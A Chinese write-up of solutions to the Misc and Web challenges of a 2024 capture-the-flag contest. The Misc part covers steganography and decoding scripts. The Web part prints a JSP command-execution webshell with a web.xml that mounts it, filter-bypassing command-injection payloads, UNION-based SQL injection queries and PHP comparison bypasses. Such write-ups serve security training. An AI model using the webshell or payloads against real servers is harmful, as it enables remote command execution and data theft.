源鲁杯2024赛题复现Web Misc部分WP

MISC

[Round 1] whatmusic

拿到题目,一个password和加密的压缩包

查看password的文件尾

这里会发现是png文件的文件头,逆序输出,并保存为1.png。得到一个图片,

进行CRC爆破,发现宽高被修改,之后拿到压缩包密码,解密后拿到flag文件。

这时根据题目whatmusic可判断为是音频文件

查看hint1:

桑德拉的女儿lyra。

这时可以去github搜lyra,搜到开源项目。可以将文件解密成音频文件。

(羊城杯和ISCC都可以找到例题)

[Round 1] SinCosTan

这里可以发现是一个wav音频文件

不过这题跟歌没什么关系,可以看到这是png图片的文件头

尝试提取数据

我们查找png文件头文件尾、zip文件头文件尾对应的ASCII数据

拿到俩个png图片和一个zip文件

zip文件中是一个hint.txt(我们需要修复一下zip文件)

很明显的零宽度隐写

那么这里我们拿到俩张一模一样的图片,还拿到了种子seed=114514,很明显能想到盲水印

python bwmforpy3.py decode 1.png 2.png 5.png --seed=114514

盲水印拿到flag

[Round 2] 滴答滴

使用010打开文件可以发现全部都是 00 和 FF,一般来说这是可以用于表示电平信号

看到这个要想到信号是什么编码,判断出是曼切斯特编码。脚本如下:

python 复制代码
def read_from_file(filename):
    # 从文件中读取二进制数据
    with open(filename, 'rb') as file:
        return file.read()

def manchester_to_binary(manchester_data):
    # 将曼切斯特编码的数据转换回二进制字符串
    binary_str = ''
    i = 0
    while i < len(manchester_data):
        if manchester_data[i] == 0 and manchester_data[i+1] ==255:
            binary_str += '0'
        elif manchester_data[i] == 255 and manchester_data[i+1] == 0:
            binary_str += '1'
        i += 2  # 每次处理两个字节
    return binary_str

def binary_to_char(binary_str):
    # 将二进制字符串转换回ASCII字符
    return ''.join([chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8)])

# 示例使用
filename = "attachment"  # 输入文件名
manchester_data = read_from_file(filename)
binary_str = manchester_to_binary(manchester_data)
print(binary_str)
ascii_str = binary_to_char(binary_str)

print(f"解码后的ASCII字符串: {ascii_str}")

# 这个脚本的使用要求是文件的十六进制数据为电平内容

[Round 2] 听~

DeepSound发现隐藏压缩包

emm难评

[Round 3] CheckImg

Green plane 0有明显提示

Red plane 0处有信息

提取Red0的数据,发现是png的文件头,俩位反转

反转脚本:

python 复制代码
def reverse_every_four_chars_to_new_file(input_file_path, output_file_path):  
    try:  
        with open(input_file_path, 'r', encoding='utf-8') as infile:  
            content = infile.read()  
            
        reversed_content = ''.join(content[i:i+4][::-1] for i in range(0, len(content), 4))  
          
        with open(output_file_path, 'w', encoding='utf-8') as outfile:  
            outfile.write(reversed_content)  
          
        print(f"处理完成,结果已写入 {output_file_path}")  
          
    except FileNotFoundError:  
        print(f"文件 {input_file_path} 未找到。")  
    except Exception as e:  
        print(f"处理文件时发生错误:{e}")  
  
# 调用函数,传入源文件路径和目标文件路径  
reverse_every_four_chars_to_new_file('1.txt', 'output.txt')

winhex提取数据,拿到另一张图片

可以发现是DNA解密

python 复制代码
import sys

bin_dna = {'00':'A','10':'C','01':'G','11':'T'}
mapping = {
        'AAA':'a','AAC':'b','AAG':'c','AAT':'d','ACA':'e','ACC':'f', 'ACG':'g','ACT':'h','AGA':'i','AGC':'j','AGG':'k','AGT':'l','ATA':'m','ATC':'n','ATG':'o','ATT':'p','CAA':'q','CAC':'r','CAG':'s','CAT':'t','CCA':'u','CCC':'v','CCG':'w','CCT':'x','CGA':'y','CGC':'z','CGG':'A','CGT':'B','CTA':'C','CTC':'D','CTG':'E','CTT':'F','GAA':'G','GAC':'H','GAG':'I','GAT':'J','GCA':'K','GCC':'L','GCG':'M','GCT':'N','GGA':'O','GGC':'P','GGG':'Q','GGT':'R','GTA':'S','GTC':'T','GTG':'U','GTT':'V','TAA':'W','TAC':'X','TAG':'Y','TAT':'Z','TCA':'1','TCC':'2','TCG':'3','TCT':'4','TGA':'5','TGC':'6','TGG':'7','TGT':'8','TTA':'9','TTC':'0','TTG':' ','TTT':'.'}

def bin_2_code(string):
    string = string.replace(" ","")
    string = string.replace("\n","")
    final=""
    for j in range(0,len(string),2):
        final+=bin_dna[string[j:j+2]]
    return final

def decode_dna(string):
    final=""
    for i in range(0,len(string),3):
        final+=mapping[string[i:i+3]]
    return final

print(decode_dna("GCAGTTCTGCTGGGGGGTGTACTAGAGTGACTCGTTGCAGTTGTATACGCATATCTGGTGGGGGTATCCCTTGATCGTGCACTGTCCTAAGCAGCAGAAGAGTCCCTGGCAGCTCTATAAGATCTTCTAGTGGGGGCTGTAGCAGAGGTTCGGGTTGAGGCTCGTGTCGCAGTTGCACTGTCCGTCTATGTGGCAGTTGACGTGTAAGGTTATTAAGAAGGTGAGGTTGTAGTTGTAGCTGATTATGATCTTGAGGGGGCAGCTGAGTATGCCCTCGAGGCTGCAGACGATGGGTCCCTTGTAGGGGCATAAGATGTTCGTGTGGTAGTCGTAGAGGCACTTGCCGTTGCGGTAGCACTTGCAGCTCTTCTGGAAGTTTATGTTGCAGTTGAACTGGCGGTAGATTAAGATGCGTATCTCGCGGTTGTAGTCGATGCTCTCGTGGGGGGGGTAGAAGAGTGAGCACTGTAGGCTTCCGCCGCATAGTCCCTCCTGGTCGCATAAGCATGACTGCTGGGGGTCGTACTAGAAGATCTCCTTGCGGTGTCCGAGGATCGGTCGCTGCTAGTCGCAGTTGCAGTTGCTCTGTAAGTGTCCCTAGAGCTTGAAGTGTAGGTTGCACGTGAGGGTGATCTGGCGGGTGTAGGTGAGGCTGCACTGTCCGTCGCAGAAGCACGGTATGTGTGCGCGTCCGTGGATGTTCGGGTTCGGGTGGTAGCCGCACTTCTCCTTGCGGGTGCAGAAGATCTTGCGCTCGAGGTCGGTTGA"))

拿到字符串

KVEEQRSCI5DVKVSXKZEUQS2FJBKE2WKKGI2EKNCWJFCUQNSKIVAVINBTKVKE2TZUKVHUWRZWGRIVSVSNJZJFIQKNIZLDINKHJQ2FSQKWJVBUSTSIKFLVMSKFKNFEGVZVKVGEMSJWJMZDMVSTJNDUQQSGI5KEYN2LKY2DETKWK5EEQTSCGJDFMU2IJA3ECTKVKVNEWU2CIFGUYVKBIRJEMRSRINKE2TKGKAZU6M2UJVAVAUSLKFDFMRKGJFMDITR5

之后就是编码解密............有点难

[Round 3] figure

在文件尾发现png文件头。提取数据并逆序输出。拿到图片。

根据hint1:

hint1 : x1x2x3..xnyn....y3y2y1

我们提取数据

52 83 102 82 121 76 106 112 69 74 102 106 105 119 78 101 71 66 119 87 49 115 55 113 114 116 111 68 88 100 72 107 109 85 104 85 81 89 109 51 101 102 90 56 76 89 84 103 77 89 65 71 66 82 49 57 112 120 106 71 120 107 84 105 99 106 84 77 122 86 68 120 115 50

把每个数据转ASCII

4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2

根据hint2:

hint2 : 栅栏 block=13

我们栅栏解密

4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR

这里我用在线网站解密的不准

然后就是头疼的base、rot系列

Web:

[Round 1] Disal

打开页面没有有用信息,查看robots.txt发现f1ag.php,访问查看源代码:

php 复制代码
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

这里要求a>999999且a的值为字母恰好出现六次。用十六进制编码绕过。令a=0xFFFFFF

b使用数组绕过。令b[]=12345。拿到flag

[Round 1] shxpl

页面是一个nslookup 工具

经过测试发现过滤参数很多

可用more查看文件,dir查看目录

www.baidu.com&dir

看到源代码index.php

www.baidu.com&more<index.php

拿到源码:

php 复制代码
<?php

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $domain = $_POST["domain"];
    if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){
        $output = shell_exec("nslookup " . $domain);
        echo "<h2>Results for $domain:</h2>";
        echo "<pre>" . htmlspecialchars($output) . "</pre>";
    }else{
        echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")

这里的话空格被过滤,如果直接在框中输入"dir%09/"查看根目录,%09会被过滤为%2509,所以可以用BP抓包查看根目录

www.baidu.com%26dir%09/

读取flag payload:

www.baidu.com%26more%09/f[l]ag_l4mnyerd

[Round 1] TOXEC

文件上传页面,发现可以上传xml文件,但不能上传jsp木马

上传一个shell.xml文件,内容为jsp的回显马,这里注意上传路径../WEB-INF/shell.xml

php 复制代码
<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  

%>

再上传一个web.xml,将xml解析为jsp。这里注意上传路径../WEB-INF/web.xml

php 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/shell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

最后访问exec路径即可

[Round 1] sInXx

一个查询员工界面:怀疑是sql注入

结果fuzz测试,发现是字符型单引号注入

判断回显点发现逗号被过滤,用join绕过:

判断回显点

sql 复制代码
SEARCH=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D%09JOIN%09(SELECT%091)E)#

爆库:

sql 复制代码
SEARCH=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09DATABASE())A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D%09JOIN%09(SELECT%091)E)#

爆表:

这里发现information被过滤了,使用sys.schema_table_statistics_with_buffer绕过

sql 复制代码
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

爆flag:(没看懂为啥这样搞)

sql 复制代码
search=1'  UNION  SELECT  *  FROM  ((SELECT  `2`  FROM  (SELECT  *  FROM  ((SELECT  1)a  JOIN  (SELECT  2)b)  UNION  SELECT  *  FROM  DataSyncFLAG)p  limit  2  offset  1)A  join  (SELECT  1)B  join  (SELECT  1)C  join  (SELECT  1)D  join  (SELECT  1)E)#

[Round 1] Injct

访问首页发现输入的内容会原样输出,据这个思路判断可能是SSTI模板注入

首先用fenjing梭哈,但是无回显,尝试dns外带

首先尝试绕过waf,之后dns外带到ceye.io

直接梭哈

[Round 2] Cmnts

源码中提示路由,base64解码一下:get_th1s_f1ag.php

拿到源码:

php 复制代码
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);

if (isset($pass)) {
    $key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
    echo $flag;
}
else {
    highlight_file(__FILE__);
}

很明显,下述代码为干扰项

php 复制代码
if (isset($pass)) {
    $key = md5($pass);
}

我们直接传入参数 ?key=a7a795a8efb7c30151031c2cb700ddd9

相关推荐
打码人的日常分享7 小时前
智能制造数字化工厂解决方案
数据库·安全·web安全·云计算·制造
上海云盾安全满满10 小时前
什么是端口管理,网络安全的关键环节
安全·web安全
久绊A10 小时前
春节前云平台运维深度巡检-实操经验
运维·安全·容器·kubernetes·云平台
零域行者10 小时前
PHP反序列化漏洞详解(含靶场实战)
安全·web安全
阿猿收手吧!11 小时前
【C++】volatile与线程安全:核心区别解析
java·c++·安全
青岑CTF12 小时前
攻防世界-Php_rce-胎教版wp
开发语言·安全·web安全·网络安全·php
跨境摸鱼12 小时前
用“内容+投放+运营”打出增长曲线
大数据·安全·跨境电商·亚马逊·内容营销
啥都想学点13 小时前
kali 基础介绍(Impact、Forensics)
安全·网络安全
极智-99614 小时前
GitHub 热榜项目-日榜精选(2026-02-03)| AI智能体、终端工具、RAG技术等 | claude-mem、99、termux-app等
人工智能·网络安全·github·ai智能体·llm应用·rag技术·torrent工具
Coder个人博客14 小时前
Linux6.19-ARM64 mm init子模块深入分析
linux·安全·车载系统·系统架构·系统安全·鸿蒙系统·安全架构